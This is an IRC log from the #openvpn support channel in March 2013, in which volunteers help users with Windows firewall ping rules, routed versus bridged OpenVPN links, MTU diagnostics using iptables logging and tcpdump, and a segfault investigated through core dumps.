19:48 < jaded-g0n> anyone here?
19:48 < jaded-g0n> i need some love and help
19:49 -!- jaded-g0n [~root@113.210.96.159] has quit [Client Quit]
19:49 -!- jaded-g0n [~pizo@113.210.96.159] has joined #openvpn
19:50 < Poster> ask away
19:51 < Poster> hrenovo: what you're seeing corresponds to some type of packet filtering on the client side
19:52 < hrenovo> Poster: comparing to the tcpdump where there is a reply, I can clearly see in the output that there is only request, but no reply.
19:52 < Poster> hence the request being sent but blocked and not responded to
19:53 < hrenovo> basically, what do they normally do windows7 clients ?
19:53 -!- benkay [~benkay@67.50.19.230] has quit [Quit: benkay]
19:53 < Poster> yep
19:53 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
19:53 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
19:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:54 -!- mode/#openvpn [+o krzee] by ChanServ
19:54 < hrenovo> I guess my question is not clear
19:55 < hrenovo> I have 2 windows 3 windows 7 clients. I'm sure there are many others using windows 7 as openvpn clients
19:56 < Poster> windows 7 firewall is on by default
19:56 < Volkswagner> greetings
19:56 < Volkswagner> I have a working server on Netgear WNDR3800 running OpenWRT Backfire
19:56 < hrenovo> so what do they normally do in the firewall of windows 7 clients to make it pingable without having to turn off the firewall for openvpn TAP interface?
19:57 < Poster> you'd have to make an exception
19:57 < Poster> http://answers.microsoft.com/en-us/windows/forum/windows_7-networking/how-to-enable-ping-response-in-windows-7/5aff5f8d-f138-4c9a-8646-5b3a99f1cae6
19:57 <@vpnHelper> Title: How to enable ping response in windows 7 - Microsoft Community (at answers.microsoft.com)
19:58 < Volkswagner> Windows clients connect via OpenVPN GUI, server config = http://pastebin.com/ThFiy9tc
20:00 < Volkswagner> Clients are behind dsl router/modem Dlink DSL-2750
20:01 < Volkswagner> Is it possible to install a second router (WNDR3700 running openwrt) behind the Dlink to act as the client with several devices hard wired  so they all can be clients?
20:01 < Volkswagner> I'm not sure if this is a standard setup or not.
20:03 < Volkswagner> The WNDR3700 would be strictly for clients needing to connect to the VPN only.
20:03 < Poster> are you talking about a WNDR3700 linking to the existing OpenVPN server and bridging the networks?
20:04 < Volkswagner> Poster, I believe you are correct
20:04 < Volkswagner> The clients will actually be ip phones
20:05 < Poster> yes you can do that, though you will need to do work out some addressing method
20:05 < Poster> when linking LANs together, you may want to consider the tun adapter type and route subnets across
20:05 < Volkswagner> or the WNDR 3700 would be the sole client, right?
20:05 < Poster> versus the common tap method for mobile clients
20:05 < Poster> well I'm assuming with ip phones you'd want full routing between the phones and remote network
20:06 < Poster> if you don't do that, the WNDR3700 would have to perform NAT across the VPN link
20:06 < Poster> so all remote clients would appear to be 1 IP address, in some cases that is ok, though I am unsure how your phones will behave
20:07 < Volkswagner> Could I hard code individual addresses to the ports on the WNDR3700?
20:07 < Poster> are you talking about DHCP on the LAN side?
20:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
20:08 < Volkswagner> Originally I thought I could "bridge" the WNDR 3700 and have the ports act like a switch getting DHCP from the VPN Server like current clients do.
20:09 < Volkswagner> DHCP that is :)
20:10 < Poster> bridging is a possibility, but it can cause trouble if there is a lot of broadcast traffic
20:10 < Poster> unless you specifically need a bridge, routing is a more efficient solution
20:10 < Poster> in a routed solution, you would have two separate subnets on each side, then the OpenVPN link would tie the two together
20:10 < Volkswagner> I still need to learn the difference.  Been reading, but it's just  not sinking in
20:11 < Poster> ok in a bridge, the same IP range exists for LAN and VPN clients
20:11 < Poster> if a LAN client sends out a broadcast packet, that broadcast traffic will reach all the VPN clients
20:12 < Poster> you can really think of it as a long, slower line directly into the remote network
20:12 < Volkswagner> OK, so my current setup is bridged.
20:12 < Poster> a routed connection does not pass any broadcast traffic, there are unique subnets (even small ones!) separating the two
20:13 < Volkswagner> Functionally I don't really need bridged.  No file sharing, etc.
20:13 < Poster> it doesn't mean you can't access it, it just means it's one one big subnet
20:13 < Poster> for your example, you could have a routed connection like this:
20:14 < Poster> 192.168.0.0/24 <-OpenVPN Server-> 10.0.0.1 <-[OpenVPN Link]-> 10.0.0.2 <-OpenVPN Client-> 192.168.1.0/24
20:14 < Poster> so a client in 192.168.0.0/24 can ping a system in 192.168.1.0/24 network
20:14 < Poster> if you were to trace from say 192.168.0.10 to 192.168.1.10, it would be
20:14 < Poster> 192.168.1.1 (LAN side of OpenVPN server)
20:15 < Poster> 10.0.0.2 (Remote side of OpenVPN link, on OpenVPN Client)
20:15 < Poster> 192.168.1.10 (Remote host)
20:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:18 < Volkswagner> Poster, would 10.0.0.2 be on the Dlink LAN, or would the Dlink still need to be a different network?
20:19 < Poster> so in that example, the 10.0.0.2 would be the OpenVPN client
20:19 < Poster> on the WNDR3700
20:19 < Poster> you can really break it into smaller pieces
20:19 < Poster> forgetting the two networks, you have your OpenVPN link between Dlink and WNDR3700
20:19 < Poster> the Dlink is 10.0.0.1 and WNDR3700 is 10.0.0.2
20:20 < Poster> they can ping eachother, ssh, whatever across that link
20:20 < Poster> all we're doing is using that link to route a subnet back and forth
20:20 < Poster> so Dlink has a route to 192.168.1.0/24 via 10.0.0.2 (WNDR3700)
20:20 < Poster> and WNDR3700 has a route to 192.168.0.0/24 via 10.0.0.1 (Dlink)
20:23 < Volkswagner> The OpenVPN link is between WNDR3700 and WNDR3800, isn't it?
20:23 < Poster> yep
20:24 < Poster> you just use that link to pass the network traffic between them
20:25 < Volkswagner> Poster, this is most helpful...
20:26 < Poster> once you get the building blocks in place you can do a lot of cool stuff
20:26 < Volkswagner> The WNDR3700 can have DHCP turned on so multiple clients in 192.168.1.0/24 can utilize the link, right?
20:26 < Poster> yep
20:27 < Poster> you'd treat them just like you were sharing out an Internet link
20:27 < Poster> except it has a route (via the OpenVPN link) to the remote LAN too
20:27 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
20:28 < spacedust> i've read it on a site that for shorer distances between vpn server and client i should use UDP and for longer TCp
20:28 < spacedust> how much is longer ? :)
20:28 < spacedust> in miles milliseconds / or how ? :) if true at all :)
20:29 < Poster> it's one of those "depends" answers
20:29 < Volkswagner> spacedust, interesting... if my clients are only ip phones, all traffic is UDP :)
20:29 < Poster> UDP is lighter, as a result faster, but doesn't do any type of error correcting
20:30 < Poster> it also can sometimes have trouble with some implementations of NAT that timeout UDP sessions too quickly
20:30 < Poster> since there is no handshake and sequencing numbers, connection tracking just has to give it a timeout of outbound and (inverted) inbound traffic
20:31 < Poster> TCP is heavier, a bit slower, does error correcting and is not as likely to be subject to trouble with NAT
20:31 < spacedust> and what is the difference is overhead ?
20:32 < spacedust> tryed to calculate my MTU :)
20:34 < Volkswagner> Poster, thanks so much.  I'm off to find documentation, while I wait for the WNDR3700 to arrive.
20:35 < Poster> ok sounds good, you can also use computers to simulate/setup things as well, though as you've found, there's several solid state devices that can as well
20:35 < Poster> spacedust: unless you're running something that requires the fragment bit to not be set, you probably don't need to worry about setting your MTU
20:35 < Volkswagner> Oh, do you know of any free simulators?
20:36 < Volkswagner> I do have some space on VM host
20:36 < spacedust> Poster: hmm
20:36 < Poster> Linux is probably going to be closest to what you're working with
20:36 < Poster> BSD is also good
20:37 < Poster> Linux is probably more popular
20:37 < spacedust> Poster: well first of all i might be connecting via pppoe then wifi then vpn so thats why i was thinking about mtu
20:37 < Poster> there's built in mechanisms to cope with frames that are too large
20:38 < Poster> if in doubt you can perform a tcpdump/wireshark capture and see if you get fragmentation needed frames
20:39 < spacedust> Poster: wow now this is fascinating :)
20:40 < spacedust> my mtu is 1492 thus i cant ping anything besides my wifi with anything higher :)
20:40 < spacedust> BUT ! now i made a vpn connecting and i can ping with 1500 , i mean 1472 ...
20:40 < spacedust> so what is going on now ? :) cause im in a bit in the shade here ...
20:41 < spacedust> so actually the vpn made my connecting better ? :) instead of 1492 my mtu is now 1500 ? :) hooooow ? :)
20:41 < Poster> not likely, it's probably being fragmented and reassembled
20:42 -!- hrenovo_ [~hrenovo@ool-4352bbfe.dyn.optonline.net] has joined #openvpn
20:42 < Poster> what OS are you running on either side?
20:43 < spacedust> Poster: linux both sides, and im using ping with -M do
20:44 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Read error: Connection reset by peer]
20:45 < Poster> ok you can do this
20:45 < spacedust> what ?
20:45 < Poster> sudo iptables -A INPUT -p icmp --icmp-type fragmentation-needed -j LOG --log-prefix "IPT ICMP Frag Needed: "
20:45 < Poster> sudo iptables -A OUTPUT -p icmp --icmp-type fragmentation-needed -j LOG --log-prefix "IPT ICMP Frag Needed: "
20:45 < Poster> and watch syslog for fragmentation needed
20:45 < spacedust> on the client ?
20:45 < Poster> either side
20:49 < spacedust> i added in on the client
20:49 < spacedust> did -M dont 14000 should be fragmented
20:49 < spacedust> and there is no sign in dmesg nor /var/log/messages
20:49 -!- hrenovo_ [~hrenovo@ool-4352bbfe.dyn.optonline.net] has quit [Quit: I quit]
20:54 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
20:56 < hrenovo> sorry I got kicked off
20:56 < hrenovo> and I don't have logging enabled
20:57 < Poster> spacedust I believe this will show it in realtime
20:57 < Poster> sudo tcpdump -i eth0 icmp[0] = 3 and icmp[1] = 4
20:57 < hrenovo> someone gave me a link here earlier about windows firewall for vpn
20:57 < hrenovo> Poster: is this for me ?
20:57 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
20:57 < Poster> hrenovo: it could be; though I think you were after-
20:57 < Poster> http://answers.microsoft.com/en-us/windows/forum/windows_7-networking/how-to-enable-ping-response-in-windows-7/5aff5f8d-f138-4c9a-8646-5b3a99f1cae6
20:57 <@vpnHelper> Title: How to enable ping response in windows 7 - Microsoft Community (at answers.microsoft.com)
20:59 < spacedust> Poster: but got any idea why the iptables thingy doesnt works ?
21:00 < Poster> there may not be any fragmentation needed packets
21:00 < Poster> is tcpdump returning anything?
21:00 < spacedust> Poster: impossible. i just sent a ping of 14000 bytes
21:00 < spacedust> that needs fragmentation
21:01 < spacedust> 1        0     0 LOG        icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 3 code 4 LOG flags 0 level 4 prefix "IPT ICMP Frag Needed: "
21:01 < spacedust> 1        0     0 LOG        icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 3 code 4 LOG flags 0 level 4 prefix "IPT ICMP Frag Needed: "
21:01 < spacedust> i haveboths on the client
21:02 < Poster> try doing a large transfer
21:02 < spacedust> Poster: PING www.google.com (173.194.44.16) 11472(11500) bytes of data.
21:02 < spacedust> Poster: okay
21:02 < Poster> google truncates
21:02 < spacedust> looking at the tcpdump also
21:02 < spacedust> truncates what do you mean ?
21:03 < Poster> ping -s 1000 -c 1 www.google.com
21:03 < Poster> PING www.google.com (74.125.26.99) 1000(1028) bytes of data.
21:03 < Poster> 72 bytes from vh-in-f99.1e100.net (74.125.26.99): icmp_seq=1 ttl=43 (truncated)
21:04 < spacedust> Poster: it didnt said (truncate) at the end of the message ... but i tryed www.cnet.com and now it says :)
21:04 < spacedust> but not for google :)
21:04 < hrenovo> the method in the above link worked
21:04 < hrenovo> the first suggestion
21:05 < hrenovo> ok, so ping works to windows clients now
21:05 < hrenovo> which is nice
21:05 < hrenovo> but this will not apply for files sharing if i'm not mistaken
21:06 < hrenovo> what exactly does client-to-client do ?
21:06 < Poster> yep, you have to open those individually
21:06 < spacedust> btw what does this truncate means ?
21:06 < spacedust> Poster: the tcpdump shows my nothing at all
21:06 < Poster> client-to-client allows VPN clients to connect to eachother
21:06 < Poster> VPN client A can ping VPN client B across the VPN link
21:07 < hrenovo> but besides pinging
21:07 < Poster> file sharing, printing, video, whatever you can do over a network
21:08 < hrenovo> is client-to-client enough for file & printer sharing ?
21:08 < hrenovo> oh
21:08 < hrenovo> nice !
21:08 < Poster> between clients yes
21:08 < hrenovo> yeah that's cool
21:08 < Poster> you don't need it if the files and printers are behind the VPN server
21:08 < hrenovo> so the rest is just firewall ?
21:08 < Poster> mostly
21:09 < Poster> be careful with client to client though, you leave all other clients exposed to a possibly malicious client or client with malware
21:10 < hrenovo> let me try something really quick. I will try to access a computer that already has active file shares across the network.
21:10 < hrenovo> but I want to access the file shares on openvpn interface. it should work right ?
21:10 < spacedust> Poster: i have no single package failure , looking with mtr www.cnet.com which is 20hops away :) openvpn ROX !
21:10 < spacedust> THANKS OPENVPN
21:11 < Poster> hrenovo: yes it can
21:11 < Poster> remember that OpenVPN is just creating a virtual network, so anything you can do on a network, you can (pretty much) do on an OpenVPN link
21:12 < Poster> you generally just have to cope with less bandwidth and higher latency
21:14 < spacedust> Poster: i know its a bit offtopic but its a network related question
21:14 < spacedust> my eth0 has two ips :)
21:14 < hrenovo> hah! it worked
21:14 < spacedust> on is in /25 and the other in /24 :P
21:14 < spacedust> same ip different neteworks, how could i remove it and readd it ?
21:14 < spacedust> manually
21:15 < Poster> so you have say an eth0 with a subnet mask of 255.255.255.0 and eth0:0 with a subnet mask of 255.255.255.128 ?
21:18 < spacedust> http://openvpn.net/archive/openvpn-users/2004-11/msg00649.html hahh + If your data stream is compressible, you can potentially gain back all of +  8bytes more :P
21:18 <@vpnHelper> Title: Re: [Openvpn-users] Overhead added to each packet by OpenVPN? (at openvpn.net)
21:18 < spacedust> Poster: no :)
21:19 < spacedust> Poster: i have eth0 with ip x.x.x.x/24 bcast:24 ... netmask/24 ...
21:19 < spacedust> and on the same eth0 i have xx.x.x./24 bcast:24 ... netmask/24 :)
21:19 < Poster> two different IP addresses, both /24 ?
21:20 -!- jaded-g0n [~pizo@113.210.96.159] has quit [Ping timeout: 276 seconds]
21:24 < hrenovo> Poster: so far so good, everything is very smooth
21:25 < hrenovo> Poster: I wonder which NAS device for home would work nicely as an  openvpn client ? Which manufacturer / model ?
21:27 < Poster> I really don't know, I usually just bang around with old hardware and open source software
21:28 < Poster> if you want a true NAS device I'd imagine you'd want something with some variation of a known supported platform
21:29 < Poster> that being said, something based on Windows, BSD or Linux might be usable, most devices have specialized versions
21:29 < Poster> so the needed components may have been removed
21:30 < Poster> do you have hardware you want to use or are you just shopping?
21:31 < Poster> keep in mind you can also use an old broadband router with OpenWRT or DD-WRT to use for OpenVPN services
21:31 < hrenovo> well I have dd-wrt
21:32 < hrenovo> I had openvpn server set up in dd-wrt a few years back
21:32 < hrenovo> I wonder if it can be used as a client
21:32 < Poster> yep
21:32 < Poster> the same binary can do either, it depends on which configuration you point it to
21:34 < hrenovo> let me check the settings
21:34 < hrenovo> I hope it can all be configured as a client using dd-wrt gui
21:39 < Poster> I would imagine so
21:41 -!- jaded-g0n [~pizo@113.210.102.139] has joined #openvpn
21:42 < jaded-g0n> --ifconfig local ad
21:42 < jaded-g0n> dress and the internal DHCP server address -- both are set to 10.9.0.254 -- plea
21:42 < jaded-g0n> se use the --ip-win32 dynamic option to choose a different free address from the
21:42 < jaded-g0n> Is this a conflict of internal ip?
21:42 < jaded-g0n> sorry my english is macibai
21:44 < jaded-g0n> i guess nobody is lanjiao around to answer it?
21:44 < jaded-g0n> =-(
21:45 < Poster> I am just guessing, but I think you need to use a unique IP address for the OpenVPN server
21:45 < Poster> not used on your local ethernet adapter
21:45 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
21:49 -!- master_of_master [~master_of@p4FF24C20.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
21:50 -!- master_of_master [~master_of@p4FF24934.dip.t-dialin.net] has joined #openvpn
22:11 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
22:15 < jaded-g0n> what does ip-win32 do?
22:26 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
22:26 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
22:26 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
22:45 < pekster> jaded-g0n: It lets you decide now to have Windows assign the IP to the virtual adapter. The 'adaptive' setting is the default, and that error message you got is suggesting you try the 'dynamic' setting instead
22:52 -!- brute11k [~brute@89.249.235.123] has joined #openvpn
22:54 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
23:00 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
23:04 -!- master_o1_master [~master_of@p4FF24E68.dip.t-dialin.net] has joined #openvpn
23:08 -!- master_of_master [~master_of@p4FF24934.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
23:20 < jaded-g0n> pekster: so how do i tell openvpn to try the "dynamic" setting?
23:20 < jaded-g0n> is it a configuration on the server, or client, or both?
23:23 < pekster> clienet, And you set the directive I just noted with the dynamic setting. The manpage will help if you're still confused if you search for --ip-win32
23:34 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
--- Day changed Thu Mar 21 2013
00:17 -!- brute11k [~brute@89.249.235.123] has quit [Ping timeout: 264 seconds]
00:28 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 276 seconds]
00:44 -!- master_o1_master [~master_of@p4FF24E68.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
00:46 -!- master_of_master [~master_of@p4FF24E30.dip.t-dialin.net] has joined #openvpn
00:53 < jaded-g0n> !man
00:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
00:55 < pekster> So, 'ip-win32 dynamic' to use the dynamic option
00:55 < pekster> Add leading dashes if you're supplying it on the command line (dashes are optional in your config file)
01:07 -!- master_o1_master [~master_of@p4FF24F08.dip.t-dialin.net] has joined #openvpn
01:10 -!- master_of_master [~master_of@p4FF24E30.dip.t-dialin.net] has quit [Ping timeout: 258 seconds]
01:15 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
01:17 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
01:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:54 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:55 -!- master_of_master [~master_of@p4FF24555.dip.t-dialin.net] has joined #openvpn
01:59 -!- master_o1_master [~master_of@p4FF24F08.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
02:23 -!- Wulf4 [~Wulf@unaffiliated/wulf] has joined #openvpn
02:26 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 260 seconds]
02:47 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
03:05 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has joined #openvpn
03:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:18 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
03:18 < y4h0> hey there
03:18 < y4h0> do i need to restart openvpn when i made a change in server.conf ?
03:18 <@EugeneKay> Yes.
03:19 < y4h0> tnk you
03:26 -!- JackWinter1 [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
03:28 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
03:31 -!- JackWinter1 [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
03:36 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
03:44 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:45 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
03:45 -!- mirco_ is now known as mirco
03:46 -!- jaded-g0n [~pizo@113.210.102.139] has quit [Ping timeout: 276 seconds]
04:10 -!- master_o1_master [~master_of@p4FF24415.dip.t-dialin.net] has joined #openvpn
04:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
04:14 -!- master_of_master [~master_of@p4FF24555.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
04:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
04:38 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has quit [Quit: Orbi]
04:52 -!- master_of_master [~master_of@p4FF24EC6.dip.t-dialin.net] has joined #openvpn
04:55 -!- master_o1_master [~master_of@p4FF24415.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
05:41 -!- tcamuso_ [tcamuso@nat/redhat/x-baiqpapqcpburuam] has joined #openvpn
05:46 -!- jaded-g0n [~pizo@ks-112-190.tm.net.my] has joined #openvpn
06:16 -!- brute11k [~brute@89.249.231.53] has joined #openvpn
06:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
06:34 < spacedust> hi
06:35 < spacedust> is mtu-test a good way to test if mtu settings are correct ? i am guessing so :) just want to make sure its foolproof :)
06:40 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Saliendo]
06:45 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
06:51 -!- jaded-g0n [~pizo@ks-112-190.tm.net.my] has quit []
06:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:57 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Ping timeout: 245 seconds]
07:01 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
07:02 < kjs> Getting a weird issue... OpenVPN is dog slow, I restart the service and it's fast then gets slower and slower to a total crawl.
07:14 <@ecrist> tcp or udp?
07:18 < kjs> udp
07:18 <@ecrist> what version of openvpn?
07:19 -!- novaflash is now known as novaflash_away
07:19 -!- novaflash_away is now known as novaflash
07:20 < kjs> ecrist: openvpn-2.2.2-1.el6.rf.i686
07:20 <@ecrist> upgrade to 2.3.0 and see if your problem persists
07:21 < kjs> it's running on a cluster, that's not possible right now.
07:21 <@ecrist> feel free to come back when that's done. :)
07:21 < havoc> kjs: try monitoring bandwidth usage, and cpu usage
07:22 < kjs> is this a know problem in 2.2.0 then ecrist ?
07:22 < havoc> also make sure there is no firewalling/shaping in effect that could be throttling the traffic
07:23 <@ecrist> kjs: there are a ton of fixes in 2.3, so it's hard to say.  we only support the most recent version of openvpn here, and try not to dwell on past releases.
07:23 < kjs> understood
07:41 < spacedust> makes sense to support latest development :)
07:42 < spacedust> the mtu-test result are : openvpn[2992]: NOTE: Empirical MTU test completed [Tried,Actual] local->remote=[1557,1557] remote->local=[1557,1557]
07:42 < spacedust> so what does that conclude ? that in using a 1557 mtu ?
08:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:21 -!- master_o1_master [~master_of@p4FF24AE2.dip.t-dialin.net] has joined #openvpn
08:24 -!- master_of_master [~master_of@p4FF24EC6.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
08:30 < MacGyver> Hmm.
08:30 < MacGyver> ^CThu Mar 21 14:28:33 2013 RESOLVE: signal received during DNS resolution attempt
08:30 < MacGyver> Segmentation fault
08:30 < MacGyver> My guess is that's a bug?
08:31 < MacGyver> (I did send the sigterm. The segmentation fault is what I mean.)
08:43 -!- xbanux [~xbanux@triband-mum-59.182.175.131.mtnl.net.in] has joined #openvpn
08:45 <@ecrist> did you get a core dump?
08:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
08:46 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 258 seconds]
08:51 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
08:58 < MacGyver> Unfortunately, coredumps aren't enabled by default on this machine.
08:58 < MacGyver> I can try to reproduce.
08:58 <@ecrist> what version of openvpn?
08:58 <@ecrist> a core dump would be needed to really do much, unless we can find a way to reproduce
08:58 < MacGyver> OpenVPN 2.3.0 i686-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Feb  9 2013
08:58 < MacGyver> On arch linux, 32 bit.
08:59 < MacGyver> Anything special I have to do for OpenVPN to enable dumps?
08:59 < MacGyver> Or is the ulimit enough?
09:00 <@ecrist> I think it's just theulimit
09:01 < MacGyver> Oh, hmm.
09:01 < MacGyver> Maaaybe it díd generate a dump.
09:02 < MacGyver> Apparently the dump pattern for systemd-based systems makes it end up in the systemctl-log.
09:03 < MacGyver> Hmm, nope.
09:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:05 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection timed out]
09:08 < MacGyver> Right, core dumps enabled, let's try to reproduce.
09:09 < MacGyver> Which means I'll be afk for a sec, it involves shutting off the phone (USB-tethered), waiting for DNS-resolutions to fail and then sigterming :P
09:12 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
09:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
09:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:25 < MacGyver> Hmm.
09:25 < MacGyver> Nope.
09:25 < MacGyver> Clean shutdown this time.
09:26 < MacGyver> Could be a race condition, since usually it takes a while before the process reports receiving the signal, and this time it was instant.
09:26 < MacGyver> I'll leave coredumps enabled.
09:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
09:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:39 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 256 seconds]
09:44 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
09:44 -!- y4h0 [~yavor@78.128.23.17] has quit [Client Quit]
09:48 < MacGyver> Supposing I set the ulimit on coredumps for root to unlimited, but only for root. If I then start an openvpn process as root *which then drops privileges*, will it generate a coredump?
09:48 < MacGyver> I figure this is general kernel behaviour and not distro-specific, so that's why I might as well ask here as well.
09:48 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
09:50 -!- xbanux [~xbanux@triband-mum-59.182.175.131.mtnl.net.in] has quit [Ping timeout: 256 seconds]
09:51 <@ecrist> MacGyver: no, it won't
09:51 <@ecrist> because it's not a root process at that point
09:51 < MacGyver> But ulimits are set at the start of the process, are they not?
09:52 < MacGyver> (I don't want to enable coredumps for all users and groups by default.)
09:52 < MacGyver> (But I will if I have to.)
09:53 <@ecrist> MacGyver: try not dropping privs for now, or enabling coredumps for the owner of the openvpn process
09:55 < MacGyver> That would be nobody.
09:55 < MacGyver> As in, literally, nobody.
09:56  * MacGyver has no idea if and how ulimits are even imposed on that user.
09:56 < MacGyver> And not dropping privs "taints" the setup - the segfault might be caused by the fact that it's at that point running as nobody.
09:57 <@ecrist> then, for testing, enable coredumps for everyone
09:58 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
09:58 -!- cippaciong [~cippacion@95.236.151.104] has left #openvpn ["WeeChat 0.4.0"]
10:04 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 252 seconds]
10:05 < MacGyver> Ah, I think I understand why it won't be dumped.
10:06 < MacGyver> The flag set by PR_SET_DUMPABLE gets cleared when a program drops privs, if I understand this correctly.
10:06 < MacGyver> And it's too much effort to fix this "cleanly".
10:06 < MacGyver> So coredumps, coredumps for everyone! it is.
10:10 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
10:10 -!- xbanux [~xbanux@triband-mum-59.182.175.131.mtnl.net.in] has joined #openvpn
10:10 -!- cippaciong [~cippacion@95.236.151.104] has joined #openvpn
10:11 < cippaciong> !welcome
10:11 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:11 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:12 < cippaciong> hello
10:12 < cippaciong> I was asking how to use 192.168.0.0/24 ip class in openvpn
10:12 < cippaciong> but I think it's not a good idea
10:12 < cippaciong> 16:11 @vpnHelper » !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:13 < rob0> If you have any users using off-the-shelf routers, including many public wifi hotspots, they're not going to be able to route to those networks through your VPN.
10:14 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
